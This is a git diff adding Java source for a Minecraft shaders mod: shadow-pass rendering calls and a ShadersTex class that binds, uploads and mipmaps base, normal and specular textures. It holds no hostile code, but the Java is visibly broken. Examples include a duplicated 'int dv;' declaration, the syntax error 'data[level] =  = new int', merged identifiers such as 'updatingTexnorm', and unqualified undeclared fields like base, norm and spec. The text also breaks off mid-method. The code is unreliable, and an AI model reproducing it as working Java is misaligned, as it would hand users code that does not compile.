+      renderGlobal.func_180446_a(viewEntity, frustum, partialTicks);
+      Shaders.checkGLError("shadow entities");
+      GlStateManager.matrixMode(5888);
+      GlStateManager.popMatrix();
+      GlStateManager.depthMask(true);
+      GlStateManager.disableBlend();
+      GlStateManager.enableCull();
+      GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+      GlStateManager.alphaFunc(516, 0.1F);
+      
+      if (Shaders.usedShadowDepthBuffers >= 2)
+      {
+        GlStateManager.setActiveTexture(33989);
+        Shaders.checkGLError("pre copy shadow depth");
+        GL11.glCopyTexSubImage2D(3553, 0, 0, 0, 0, 0, Shaders.shadowMapWidth, Shaders.shadowMapHeight);
+        Shaders.checkGLError("copy shadow depth");
+        GlStateManager.setActiveTexture(33984);
+      }
+      
+      GlStateManager.disableBlend();
+      GlStateManager.depthMask(true);
+      mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+      GlStateManager.shadeModel(7425);
+      Shaders.checkGLError("shadow pre-translucent");
+      GL20.glDrawBuffers(Shaders.sfbDrawBuffers);
+      Shaders.checkGLError("shadow drawbuffers pre-translucent");
+      Shaders.checkFramebufferStatus("shadow pre-translucent");
+      mcProfiler.endStartSection("shadow translucent");
+      renderGlobal.func_174977_a(EnumWorldBlockLayer.TRANSLUCENT, partialTicks, 2, viewEntity);
+      Shaders.checkGLError("shadow translucent");
+      
+      if (Reflector.ForgeHooksClient_setRenderPass.exists())
+      {
+        net.minecraft.client.renderer.RenderHelper.enableStandardItemLighting();
+        Reflector.call(Reflector.ForgeHooksClient_setRenderPass, new Object[] { Integer.valueOf(1) });
+        renderGlobal.func_180446_a(viewEntity, frustum, partialTicks);
+        Reflector.call(Reflector.ForgeHooksClient_setRenderPass, new Object[] { Integer.valueOf(-1) });
+        net.minecraft.client.renderer.RenderHelper.disableStandardItemLighting();
+        Shaders.checkGLError("shadow entities 1");
+      }
+      
+      GlStateManager.shadeModel(7424);
+      GlStateManager.depthMask(true);
+      GlStateManager.enableCull();
+      GlStateManager.disableBlend();
+      GL11.glFlush();
+      Shaders.checkGLError("shadow flush");
+      Shaders.isShadowPass = false;
+      gameSettings.thirdPersonView = Shaders.preShadowPassThirdPersonView;
+      mcProfiler.endStartSection("shadow postprocess");
+      
+      if (Shaders.hasGlGenMipmap)
+      {
+        if (Shaders.usedShadowDepthBuffers >= 1)
+        {
+          if (Shaders.shadowMipmapEnabled[0] != 0)
+          {
+            GlStateManager.setActiveTexture(33988);
+            GlStateManager.func_179144_i(Shaders.sfbDepthTextures.get(0));
+            GL30.glGenerateMipmap(3553);
+            GL11.glTexParameteri(3553, 10241, Shaders.shadowFilterNearest[0] != 0 ? 9984 : 9987);
+          }
+          
+          if ((Shaders.usedShadowDepthBuffers >= 2) && (Shaders.shadowMipmapEnabled[1] != 0))
+          {
+            GlStateManager.setActiveTexture(33989);
+            GlStateManager.func_179144_i(Shaders.sfbDepthTextures.get(1));
+            GL30.glGenerateMipmap(3553);
+            GL11.glTexParameteri(3553, 10241, Shaders.shadowFilterNearest[1] != 0 ? 9984 : 9987);
+          }
+          
+          GlStateManager.setActiveTexture(33984);
+        }
+        
+        if (Shaders.usedShadowColorBuffers >= 1)
+        {
+          if (Shaders.shadowColorMipmapEnabled[0] != 0)
+          {
+            GlStateManager.setActiveTexture(33997);
+            GlStateManager.func_179144_i(Shaders.sfbColorTextures.get(0));
+            GL30.glGenerateMipmap(3553);
+            GL11.glTexParameteri(3553, 10241, Shaders.shadowColorFilterNearest[0] != 0 ? 9984 : 9987);
+          }
+          
+          if ((Shaders.usedShadowColorBuffers >= 2) && (Shaders.shadowColorMipmapEnabled[1] != 0))
+          {
+            GlStateManager.setActiveTexture(33998);
+            GlStateManager.func_179144_i(Shaders.sfbColorTextures.get(1));
+            GL30.glGenerateMipmap(3553);
+            GL11.glTexParameteri(3553, 10241, Shaders.shadowColorFilterNearest[1] != 0 ? 9984 : 9987);
+          }
+          
+          GlStateManager.setActiveTexture(33984);
+        }
+      }
+      
+      Shaders.checkGLError("shadow postprocess");
+      EXTFramebufferObject.glBindFramebufferEXT(36160, Shaders.dfb);
+      GL11.glViewport(0, 0, Shaders.renderWidth, Shaders.renderHeight);
+      Shaders.activeDrawBuffers = null;
+      mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+      Shaders.useProgram(7);
+      GL11.glMatrixMode(5888);
+      GL11.glPopMatrix();
+      GL11.glMatrixMode(5889);
+      GL11.glPopMatrix();
+      GL11.glMatrixMode(5888);
+      Shaders.checkGLError("shadow end");
+    }
+  }
+  
+  public static void preRenderChunkLayer()
+  {
+    if (OpenGlHelper.func_176075_f())
+    {
+      GL11.glEnableClientState(32885);
+      GL20.glEnableVertexAttribArray(Shaders.midTexCoordAttrib);
+      GL20.glEnableVertexAttribArray(Shaders.tangentAttrib);
+      GL20.glEnableVertexAttribArray(Shaders.entityAttrib);
+    }
+  }
+  
+  public static void postRenderChunkLayer()
+  {
+    if (OpenGlHelper.func_176075_f())
+    {
+      GL11.glDisableClientState(32885);
+      GL20.glDisableVertexAttribArray(Shaders.midTexCoordAttrib);
+      GL20.glDisableVertexAttribArray(Shaders.tangentAttrib);
+      GL20.glDisableVertexAttribArray(Shaders.entityAttrib);
+    }
+  }
+  
+  public static void setupArrayPointersVbo()
+  {
+    boolean vertexSizeI = true;
+    GL11.glVertexPointer(3, 5126, 56, 0L);
+    GL11.glColorPointer(4, 5121, 56, 12L);
+    GL11.glTexCoordPointer(2, 5126, 56, 16L);
+    OpenGlHelper.setClientActiveTexture(OpenGlHelper.lightmapTexUnit);
+    GL11.glTexCoordPointer(2, 5122, 56, 24L);
+    OpenGlHelper.setClientActiveTexture(OpenGlHelper.defaultTexUnit);
+    GL11.glNormalPointer(5120, 56, 28L);
+    GL20.glVertexAttribPointer(Shaders.midTexCoordAttrib, 2, 5126, false, 56, 32L);
+    GL20.glVertexAttribPointer(Shaders.tangentAttrib, 4, 5122, false, 56, 40L);
+    GL20.glVertexAttribPointer(Shaders.entityAttrib, 3, 5122, false, 56, 48L);
+  }
+  
+  public static void beaconBeamBegin()
+  {
+    Shaders.useProgram(14);
+  }
+  
+
+  public static void beaconBeamStartQuad1() {}
+  
+
+  public static void beaconBeamStartQuad2() {}
+  
+
+  public static void beaconBeamDraw1() {}
+  
+  public static void beaconBeamDraw2() {}
+  
+  public static void layerArmorBaseDrawEnchantedGlintBegin()
+  {
+    Shaders.useProgram(17);
+  }
+  
+  public static void layerArmorBaseDrawEnchantedGlintEnd()
+  {
+    if (Shaders.isRenderingWorld)
+    {
+      Shaders.useProgram(16);
+    }
+    else
+    {
+      Shaders.useProgram(0);
+    }
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShadersTex.java b/src/minecraft/shadersmod/client/ShadersTex.java
new file mode 100644
index 0000000..6f0dc5e
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShadersTex.java
@@ -0,0 +1,1037 @@
+package shadersmod.client;
+
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.IntBuffer;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import javax.imageio.ImageIO;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.AbstractTexture;
+import net.minecraft.client.renderer.texture.DynamicTexture;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.LayeredTexture;
+import net.minecraft.client.renderer.texture.Stitcher;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.renderer.texture.TextureUtil;
+import net.minecraft.client.resources.IResource;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.util.ResourceLocation;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.opengl.GL11;
+import shadersmod.common.SMCLog;
+
+public class ShadersTex
+{
+  public static final int initialBufferSize = 1048576;
+  public static ByteBuffer byteBuffer = BufferUtils.createByteBuffer(4194304);
+  public static IntBuffer intBuffer = byteBuffer.asIntBuffer();
+  public static int[] intArray = new int[1048576];
+  public static final int defBaseTexColor = 0;
+  public static final int defNormTexColor = -8421377;
+  public static final int defSpecTexColor = 0;
+  public static Map<Integer, MultiTexID> multiTexMap = new HashMap();
+  public static TextureMap updatingTextureMap = null;
+  public static TextureAtlasSprite updatingSprite = null;
+  public static MultiTexID updatingTex = null;
+  public static MultiTexID boundTex = null;
+  public static int updatingPage = 0;
+  public static String iconName = null;
+  public static IResourceManager resManager = null;
+  static ResourceLocation resLocation = null;
+  static int imageSize = 0;
+  
+  public ShadersTex() {}
+  
+  public static IntBuffer getIntBuffer(int size) { if (intBuffer.capacity() < size)
+    {
+      int bufferSize = roundUpPOT(size);
+      byteBuffer = BufferUtils.createByteBuffer(bufferSize * 4);
+      intBuffer = byteBuffer.asIntBuffer();
+    }
+    
+    return intBuffer;
+  }
+  
+  public static int[] getIntArray(int size)
+  {
+    if (intArray == null)
+    {
+      intArray = new int[1048576];
+    }
+    
+    if (intArray.length < size)
+    {
+      intArray = new int[roundUpPOT(size)];
+    }
+    
+    return intArray;
+  }
+  
+  public static int roundUpPOT(int x)
+  {
+    int i = x - 1;
+    i |= i >> 1;
+    i |= i >> 2;
+    i |= i >> 4;
+    i |= i >> 8;
+    i |= i >> 16;
+    return i + 1;
+  }
+  
+  public static int log2(int x)
+  {
+    int log = 0;
+    
+    if ((x & 0xFFFF0000) != 0)
+    {
+      log += 16;
+      x >>= 16;
+    }
+    
+    if ((x & 0xFF00) != 0)
+    {
+      log += 8;
+      x >>= 8;
+    }
+    
+    if ((x & 0xF0) != 0)
+    {
+      log += 4;
+      x >>= 4;
+    }
+    
+    if ((x & 0x6) != 0)
+    {
+      log += 2;
+      x >>= 2;
+    }
+    
+    if ((x & 0x2) != 0)
+    {
+      log++;
+    }
+    
+    return log;
+  }
+  
+  public static IntBuffer fillIntBuffer(int size, int value)
+  {
+    int[] aint = getIntArray(size);
+    IntBuffer intBuf = getIntBuffer(size);
+    Arrays.fill(intArray, 0, size, value);
+    intBuffer.put(intArray, 0, size);
+    return intBuffer;
+  }
+  
+  public static int[] createAIntImage(int size)
+  {
+    int[] aint = new int[size * 3];
+    Arrays.fill(aint, 0, size, 0);
+    Arrays.fill(aint, size, size * 2, -8421377);
+    Arrays.fill(aint, size * 2, size * 3, 0);
+    return aint;
+  }
+  
+  public static int[] createAIntImage(int size, int color)
+  {
+    int[] aint = new int[size * 3];
+    Arrays.fill(aint, 0, size, color);
+    Arrays.fill(aint, size, size * 2, -8421377);
+    Arrays.fill(aint, size * 2, size * 3, 0);
+    return aint;
+  }
+  
+  public static MultiTexID getMultiTexID(AbstractTexture tex)
+  {
+    MultiTexID multiTex = tex.multiTex;
+    
+    if (multiTex == null)
+    {
+      int baseTex = tex.getGlTextureId();
+      multiTex = (MultiTexID)multiTexMap.get(Integer.valueOf(baseTex));
+      
+      if (multiTex == null)
+      {
+        multiTex = new MultiTexID(baseTex, GL11.glGenTextures(), GL11.glGenTextures());
+        multiTexMap.put(Integer.valueOf(baseTex), multiTex);
+      }
+      
+      tex.multiTex = multiTex;
+    }
+    
+    return multiTex;
+  }
+  
+  public static void deleteTextures(AbstractTexture atex, int texid)
+  {
+    MultiTexID multiTex = atex.multiTex;
+    
+    if (multiTex != null)
+    {
+      atex.multiTex = null;
+      multiTexMap.remove(Integer.valueOf(base));
+      GlStateManager.func_179150_h(norm);
+      GlStateManager.func_179150_h(spec);
+      
+      if (base != texid)
+      {
+        SMCLog.warning("Error : MultiTexID.base mismatch: " + base + ", texid: " + texid);
+        GlStateManager.func_179150_h(base);
+      }
+    }
+  }
+  
+  public static void bindNSTextures(int normTex, int specTex)
+  {
+    if ((Shaders.isRenderingWorld) && (GlStateManager.getActiveTextureUnit() == 33984))
+    {
+      GlStateManager.setActiveTexture(33986);
+      GlStateManager.func_179144_i(normTex);
+      GlStateManager.setActiveTexture(33987);
+      GlStateManager.func_179144_i(specTex);
+      GlStateManager.setActiveTexture(33984);
+    }
+  }
+  
+  public static void bindNSTextures(MultiTexID multiTex)
+  {
+    bindNSTextures(norm, spec);
+  }
+  
+  public static void bindTextures(int baseTex, int normTex, int specTex)
+  {
+    if ((Shaders.isRenderingWorld) && (GlStateManager.getActiveTextureUnit() == 33984))
+    {
+      GlStateManager.setActiveTexture(33986);
+      GlStateManager.func_179144_i(normTex);
+      GlStateManager.setActiveTexture(33987);
+      GlStateManager.func_179144_i(specTex);
+      GlStateManager.setActiveTexture(33984);
+    }
+    
+    GlStateManager.func_179144_i(baseTex);
+  }
+  
+  public static void bindTextures(MultiTexID multiTex)
+  {
+    boundTex = multiTex;
+    
+    if ((Shaders.isRenderingWorld) && (GlStateManager.getActiveTextureUnit() == 33984))
+    {
+      if (Shaders.configNormalMap)
+      {
+        GlStateManager.setActiveTexture(33986);
+        GlStateManager.func_179144_i(norm);
+      }
+      
+      if (Shaders.configSpecularMap)
+      {
+        GlStateManager.setActiveTexture(33987);
+        GlStateManager.func_179144_i(spec);
+      }
+      
+      GlStateManager.setActiveTexture(33984);
+    }
+    
+    GlStateManager.func_179144_i(base);
+  }
+  
+  public static void bindTexture(ITextureObject tex)
+  {
+    int texId = tex.getGlTextureId();
+    
+    if ((tex instanceof TextureMap))
+    {
+      Shaders.atlasSizeX = atlasWidth;
+      Shaders.atlasSizeY = atlasHeight;
+      bindTextures(tex.getMultiTexID());
+    }
+    else
+    {
+      Shaders.atlasSizeX = 0;
+      Shaders.atlasSizeY = 0;
+      bindTextures(tex.getMultiTexID());
+    }
+  }
+  
+  public static void bindTextureMapForUpdateAndRender(TextureManager tm, ResourceLocation resLoc)
+  {
+    TextureMap tex = (TextureMap)tm.getTexture(resLoc);
+    Shaders.atlasSizeX = atlasWidth;
+    Shaders.atlasSizeY = atlasHeight;
+    bindTextures(ShadersTex.updatingTex = tex.getMultiTexID());
+  }
+  
+  public static void bindTextures(int baseTex)
+  {
+    MultiTexID multiTex = (MultiTexID)multiTexMap.get(Integer.valueOf(baseTex));
+    bindTextures(multiTex);
+  }
+  
+  public static void initDynamicTexture(int texID, int width, int height, DynamicTexture tex)
+  {
+    MultiTexID multiTex = tex.getMultiTexID();
+    int[] aint = tex.getTextureData();
+    int size = width * height;
+    Arrays.fill(aint, size, size * 2, -8421377);
+    Arrays.fill(aint, size * 2, size * 3, 0);
+    TextureUtil.allocateTexture(base, width, height);
+    TextureUtil.func_147954_b(false, false);
+    TextureUtil.setTextureClamped(false);
+    TextureUtil.allocateTexture(norm, width, height);
+    TextureUtil.func_147954_b(false, false);
+    TextureUtil.setTextureClamped(false);
+    TextureUtil.allocateTexture(spec, width, height);
+    TextureUtil.func_147954_b(false, false);
+    TextureUtil.setTextureClamped(false);
+    GlStateManager.func_179144_i(base);
+  }
+  
+  public static void updateDynamicTexture(int texID, int[] src, int width, int height, DynamicTexture tex)
+  {
+    MultiTexID multiTex = tex.getMultiTexID();
+    GlStateManager.func_179144_i(base);
+    updateDynTexSubImage1(src, width, height, 0, 0, 0);
+    GlStateManager.func_179144_i(norm);
+    updateDynTexSubImage1(src, width, height, 0, 0, 1);
+    GlStateManager.func_179144_i(spec);
+    updateDynTexSubImage1(src, width, height, 0, 0, 2);
+    GlStateManager.func_179144_i(base);
+  }
+  
+  public static void updateDynTexSubImage1(int[] src, int width, int height, int posX, int posY, int page)
+  {
+    int size = width * height;
+    IntBuffer intBuf = getIntBuffer(size);
+    intBuf.clear();
+    int offset = page * size;
+    
+    if (src.length >= offset + size)
+    {
+      intBuf.put(src, offset, size).position(0).limit(size);
+      GL11.glTexSubImage2D(3553, 0, posX, posY, width, height, 32993, 33639, intBuf);
+      intBuf.clear();
+    }
+  }
+  
+  public static ITextureObject createDefaultTexture()
+  {
+    DynamicTexture tex = new DynamicTexture(1, 1);
+    tex.getTextureData()[0] = -1;
+    tex.updateDynamicTexture();
+    return tex;
+  }
+  
+  public static void allocateTextureMap(int texID, int mipmapLevels, int width, int height, Stitcher stitcher, TextureMap tex)
+  {
+    SMCLog.info("allocateTextureMap " + mipmapLevels + " " + width + " " + height + " ");
+    updatingTextureMap = tex;
+    atlasWidth = width;
+    atlasHeight = height;
+    MultiTexID multiTex = getMultiTexID(tex);
+    updatingTex = multiTex;
+    TextureUtil.func_180600_a(base, mipmapLevels, width, height);
+    
+    if (Shaders.configNormalMap)
+    {
+      TextureUtil.func_180600_a(norm, mipmapLevels, width, height);
+    }
+    
+    if (Shaders.configSpecularMap)
+    {
+      TextureUtil.func_180600_a(spec, mipmapLevels, width, height);
+    }
+    
+    GlStateManager.func_179144_i(texID);
+  }
+  
+  public static TextureAtlasSprite setSprite(TextureAtlasSprite tas)
+  {
+    updatingSprite = tas;
+    return tas;
+  }
+  
+  public static String setIconName(String name)
+  {
+    iconName = name;
+    return name;
+  }
+  
+  public static void uploadTexSubForLoadAtlas(int[][] data, int width, int height, int xoffset, int yoffset, boolean linear, boolean clamp)
+  {
+    TextureUtil.uploadTextureMipmap(data, width, height, xoffset, yoffset, linear, clamp);
+    boolean border = false;
+    
+
+    if (Shaders.configNormalMap)
+    {
+      int[][] aaint = readImageAndMipmaps(iconName + "_n", width, height, data.length, border, -8421377);
+      GlStateManager.func_179144_i(updatingTexnorm);
+      TextureUtil.uploadTextureMipmap(aaint, width, height, xoffset, yoffset, linear, clamp);
+    }
+    
+    if (Shaders.configSpecularMap)
+    {
+      int[][] aaint = readImageAndMipmaps(iconName + "_s", width, height, data.length, border, 0);
+      GlStateManager.func_179144_i(updatingTexspec);
+      TextureUtil.uploadTextureMipmap(aaint, width, height, xoffset, yoffset, linear, clamp);
+    }
+    
+    GlStateManager.func_179144_i(updatingTexbase);
+  }
+  
+  public static int[][] readImageAndMipmaps(String name, int width, int height, int numLevels, boolean border, int defColor)
+  {
+    int[][] aaint = new int[numLevels][]; int[] 
+    
+      tmp14_12 = new int[width * height];int[] aint = tmp14_12;aaint[0] = tmp14_12;
+    boolean goodImage = false;
+    BufferedImage image = readImage(updatingTextureMap.completeResourceLocation(new ResourceLocation(name), 0));
+    
+    if (image != null)
+    {
+      int imageWidth = image.getWidth();
+      int imageHeight = image.getHeight();
+      
+      if (imageWidth + (border ? 16 : 0) == width)
+      {
+        goodImage = true;
+        image.getRGB(0, 0, imageWidth, imageWidth, aint, 0, imageWidth);
+      }
+    }
+    
+    if (!goodImage)
+    {
+      Arrays.fill(aint, defColor);
+    }
+    
+    GlStateManager.func_179144_i(updatingTexspec);
+    aaint = genMipmapsSimple(aaint.length - 1, width, aaint);
+    return aaint;
+  }
+  
+  public static BufferedImage readImage(ResourceLocation resLoc)
+  {
+    try
+    {
+      IResource e = resManager.getResource(resLoc);
+      
+      if (e == null)
+      {
+        return null;
+      }
+      
+
+      InputStream istr = e.getInputStream();
+      
+      if (istr == null)
+      {
+        return null;
+      }
+      
+
+      BufferedImage image = ImageIO.read(istr);
+      istr.close();
+      return image;
+    }
+    catch (IOException var4) {}
+    
+
+
+    return null;
+  }
+  
+
+  public static int[][] genMipmapsSimple(int maxLevel, int width, int[][] data)
+  {
+    for (int level = 1; level <= maxLevel; level++)
+    {
+      if (data[level] == null)
+      {
+        int cw = width >> level;
+        int pw = cw * 2;
+        int[] aintp = data[(level - 1)];
+        int[] aintc = data[level] =  = new int[cw * cw];
+        
+        for (int y = 0; y < cw; y++)
+        {
+          for (int x = 0; x < cw; x++)
+          {
+            int ppos = y * 2 * pw + x * 2;
+            aintc[(y * cw + x)] = blend4Simple(aintp[ppos], aintp[(ppos + 1)], aintp[(ppos + pw)], aintp[(ppos + pw + 1)]);
+          }
+        }
+      }
+    }
+    
+    return data;
+  }
+  
+  public static void uploadTexSub(int[][] data, int width, int height, int xoffset, int yoffset, boolean linear, boolean clamp)
+  {
+    TextureUtil.uploadTextureMipmap(data, width, height, xoffset, yoffset, linear, clamp);
+    
+    if ((Shaders.configNormalMap) || (Shaders.configSpecularMap))
+    {
+      if (Shaders.configNormalMap)
+      {
+        GlStateManager.func_179144_i(updatingTexnorm);
+        uploadTexSub1(data, width, height, xoffset, yoffset, 1);
+      }
+      
+      if (Shaders.configSpecularMap)
+      {
+        GlStateManager.func_179144_i(updatingTexspec);
+        uploadTexSub1(data, width, height, xoffset, yoffset, 2);
+      }
+      
+      GlStateManager.func_179144_i(updatingTexbase);
+    }
+  }
+  
+  public static void uploadTexSub1(int[][] src, int width, int height, int posX, int posY, int page)
+  {
+    int size = width * height;
+    IntBuffer intBuf = getIntBuffer(size);
+    int numLevel = src.length;
+    int level = 0;
+    int lw = width;
+    int lh = height;
+    int px = posX;
+    
+    for (int py = posY; (lw > 0) && (lh > 0) && (level < numLevel); level++)
+    {
+      int lsize = lw * lh;
+      int[] aint = src[level];
+      intBuf.clear();
+      
+      if (aint.length >= lsize * (page + 1))
+      {
+        intBuf.put(aint, lsize * page, lsize).position(0).limit(lsize);
+        GL11.glTexSubImage2D(3553, level, px, py, lw, lh, 32993, 33639, intBuf);
+      }
+      
+      lw >>= 1;
+      lh >>= 1;
+      px >>= 1;
+      py >>= 1;
+    }
+    
+    intBuf.clear();
+  }
+  
+  public static int blend4Alpha(int c0, int c1, int c2, int c3)
+  {
+    int a0 = c0 >>> 24 & 0xFF;
+    int a1 = c1 >>> 24 & 0xFF;
+    int a2 = c2 >>> 24 & 0xFF;
+    int a3 = c3 >>> 24 & 0xFF;
+    int as = a0 + a1 + a2 + a3;
+    int an = (as + 2) / 4;
+    int dv;
+    int dv;
+    if (as != 0)
+    {
+      dv = as;
+    }
+    else
+    {
+      dv = 4;
+      a0 = 1;
+      a1 = 1;
+      a2 = 1;
+      a3 = 1;
+    }
+    
+    int frac = (dv + 1) / 2;
+    int color = an << 24 | ((c0 >>> 16 & 0xFF) * a0 + (c1 >>> 16 & 0xFF) * a1 + (c2 >>> 16 & 0xFF) * a2 + (c3 >>> 16 & 0xFF) * a3 + frac) / dv << 16 | ((c0 >>> 8 & 0xFF) * a0 + (c1 >>> 8 & 0xFF) * a1 + (c2 >>> 8 & 0xFF) * a2 + (c3 >>> 8 & 0xFF) * a3 + frac) / dv << 8 | ((c0 >>> 0 & 0xFF) * a0 + (c1 >>> 0 & 0xFF) * a1 + (c2 >>> 0 & 0xFF) * a2 + (c3 >>> 0 & 0xFF) * a3 + frac) / dv << 0;
+    return color;
+  }
+  
+  public static int blend4Simple(int c0, int c1, int c2, int c3)
+  {
+    int color = ((c0 >>> 24 & 0xFF) + (c1 >>> 24 & 0xFF) + (c2 >>> 24 & 0xFF) + (c3 >>> 24 & 0xFF) + 2) / 4 << 24 | ((c0 >>> 16 & 0xFF) + (c1 >>> 16 & 0xFF) + (c2 >>> 16 & 0xFF) + (c3 >>> 16 & 0xFF) + 2) / 4 << 16 | ((c0 >>> 8 & 0xFF) + (c1 >>> 8 & 0xFF) + (c2 >>> 8 & 0xFF) + (c3 >>> 8 & 0xFF) + 2) / 4 << 8 | ((c0 >>> 0 & 0xFF) + (c1 >>> 0 & 0xFF) + (c2 >>> 0 & 0xFF) + (c3 >>> 0 & 0xFF) + 2) / 4 << 0;
+    return color;
+  }
+  
+  public static void genMipmapAlpha(int[] aint, int offset, int width, int height)
+  {
+    Math.min(width, height);
+    int o2 = offset;
+    int w2 = width;
+    int h2 = height;
+    int o1 = 0;
+    int w1 = 0;
+    boolean h1 = false;
+    
+
+
+
+
+    int level = 0;
+    do {
+      o1 = o2 + w2 * h2;
+      w1 = w2 / 2;
+      int var16 = h2 / 2;
+      
+      for (int p2 = 0; p2 < var16; p2++)
+      {
+        int y = o1 + p2 * w1;
+        int x = o2 + p2 * 2 * w2;
+        
+        for (int x1 = 0; x1 < w1; x1++)
+        {
+          aint[(y + x1)] = blend4Alpha(aint[(x + x1 * 2)], aint[(x + x1 * 2 + 1)], aint[(x + w2 + x1 * 2)], aint[(x + w2 + x1 * 2 + 1)]);
+        }
+      }
+      
+      level++;
+      w2 = w1;
+      h2 = var16;o2 = o1;
+      if (w2 <= 1) break; } while (h2 > 1);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    while (level > 0)
+    {
+      level--;
+      w2 = width >> level;
+      h2 = height >> level;
+      o2 = o1 - w2 * h2;
+      int p2 = o2;
+      
+      for (int y = 0; y < h2; y++)
+      {
+        for (int x = 0; x < w2; x++)
+        {
+          if (aint[p2] == 0)
+          {
+            aint[p2] = (aint[(o1 + y / 2 * w1 + x / 2)] & 0xFFFFFF);
+          }
+          
+          p2++;
+        }
+      }
+      
+      o1 = o2;
+      w1 = w2;
+    }
+  }
+  
+  public static void genMipmapSimple(int[] aint, int offset, int width, int height)
+  {
+    Math.min(width, height);
+    int o2 = offset;
+    int w2 = width;
+    int h2 = height;
+    int o1 = 0;
+    int w1 = 0;
+    boolean h1 = false;
+    
+
+
+
+
+    int level = 0;
+    do {
+      o1 = o2 + w2 * h2;
+      w1 = w2 / 2;
+      int var16 = h2 / 2;
+      
+      for (int p2 = 0; p2 < var16; p2++)
+      {
+        int y = o1 + p2 * w1;
+        int x = o2 + p2 * 2 * w2;
+        
+        for (int x1 = 0; x1 < w1; x1++)
+        {
+          aint[(y + x1)] = blend4Simple(aint[(x + x1 * 2)], aint[(x + x1 * 2 + 1)], aint[(x + w2 + x1 * 2)], aint[(x + w2 + x1 * 2 + 1)]);
+        }
+      }
+      
+      level++;
+      w2 = w1;
+      h2 = var16;o2 = o1;
+      if (w2 <= 1) break; } while (h2 > 1);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    while (level > 0)
+    {
+      level--;
+      w2 = width >> level;
+      h2 = height >> level;
+      o2 = o1 - w2 * h2;
+      int p2 = o2;
+      
+      for (int y = 0; y < h2; y++)
+      {
+        for (int x = 0; x < w2; x++)
+        {
+          if (aint[p2] == 0)
+          {
+            aint[p2] = (aint[(o1 + y / 2 * w1 + x / 2)] & 0xFFFFFF);
+          }
+          
+          p2++;
+        }
+      }
+      
+      o1 = o2;
+      w1 = w2;
+    }
+  }
+  
+  public static boolean isSemiTransparent(int[] aint, int width, int height)
+  {
+    int size = width * height;
+    
+    if ((aint[0] >>> 24 == 255) && (aint[(size - 1)] == 0))
+    {
+      return true;
+    }
+    
+
+    for (int i = 0; i < size; i++)
+    {
+      int alpha = aint[i] >>> 24;
+      
+      if ((alpha != 0) && (alpha != 255))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public static void updateSubTex1(int[] src, int width, int height, int posX, int posY)
+  {
+    int level = 0;
+    int cw = width;
+    int ch = height;
+    int cx = posX;
+    
+    for (int cy = posY; (cw > 0) && (ch > 0); cy /= 2)
+    {
+      GL11.glCopyTexSubImage2D(3553, level, cx, cy, 0, 0, cw, ch);
+      level++;
+      cw /= 2;
+      ch /= 2;
+      cx /= 2;
+    }
+  }
+  
+  public static void setupTexture(MultiTexID multiTex, int[] src, int width, int height, boolean linear, boolean clamp)
+  {
+    int mmfilter = linear ? 9729 : 9728;
+    int wraptype = clamp ? 10496 : 10497;
+    int size = width * height;
+    IntBuffer intBuf = getIntBuffer(size);
+    intBuf.clear();
+    intBuf.put(src, 0, size).position(0).limit(size);
+    GlStateManager.func_179144_i(base);
+    GL11.glTexImage2D(3553, 0, 6408, width, height, 0, 32993, 33639, intBuf);
+    GL11.glTexParameteri(3553, 10241, mmfilter);
+    GL11.glTexParameteri(3553, 10240, mmfilter);
+    GL11.glTexParameteri(3553, 10242, wraptype);
+    GL11.glTexParameteri(3553, 10243, wraptype);
+    intBuf.put(src, size, size).position(0).limit(size);
+    GlStateManager.func_179144_i(norm);
+    GL11.glTexImage2D(3553, 0, 6408, width, height, 0, 32993, 33639, intBuf);
+    GL11.glTexParameteri(3553, 10241, mmfilter);
+    GL11.glTexParameteri(3553, 10240, mmfilter);
+    GL11.glTexParameteri(3553, 10242, wraptype);
+    GL11.glTexParameteri(3553, 10243, wraptype);
+    intBuf.put(src, size * 2, size).position(0).limit(size);
+    GlStateManager.func_179144_i(spec);
+    GL11.glTexImage2D(3553, 0, 6408, width, height, 0, 32993, 33639, intBuf);
+    GL11.glTexParameteri(3553, 10241, mmfilter);
+    GL11.glTexParameteri(3553, 10240, mmfilter);
+    GL11.glTexParameteri(3553, 10242, wraptype);
+    GL11.glTexParameteri(3553, 10243, wraptype);
+    GlStateManager.func_179144_i(base);
+  }
+  
+  public static void updateSubImage(MultiTexID multiTex, int[] src, int width, int height, int posX, int posY, boolean linear, boolean clamp)
+  {
+    int size = width * height;
+    IntBuffer intBuf = getIntBuffer(size);
+    intBuf.clear();
+    intBuf.put(src, 0, size);
+    intBuf.position(0).limit(size);
+    GlStateManager.func_179144_i(base);
+    GL11.glTexParameteri(3553, 10241, 9728);
+    GL11.glTexParameteri(3553, 10240, 9728);
+    GL11.glTexParameteri(3553, 10242, 10497);
+    GL11.glTexParameteri(3553, 10243, 10497);
+    GL11.glTexSubImage2D(3553, 0, posX, posY, width, height, 32993, 33639, intBuf);
+    
+    if (src.length == size * 3)
+    {
+      intBuf.clear();
+      intBuf.put(src, size, size).position(0);
+      intBuf.position(0).limit(size);
+    }
+    
+    GlStateManager.func_179144_i(norm);
+    GL11.glTexParameteri(3553, 10241, 9728);
+    GL11.glTexParameteri(3553, 10240, 9728);
+    GL11.glTexParameteri(3553, 10242, 10497);
+    GL11.glTexParameteri(3553, 10243, 10497);
+    GL11.glTexSubImage2D(3553, 0, posX, posY, width, height, 32993, 33639, intBuf);
+    
+    if (src.length == size * 3)
+    {
+      intBuf.clear();
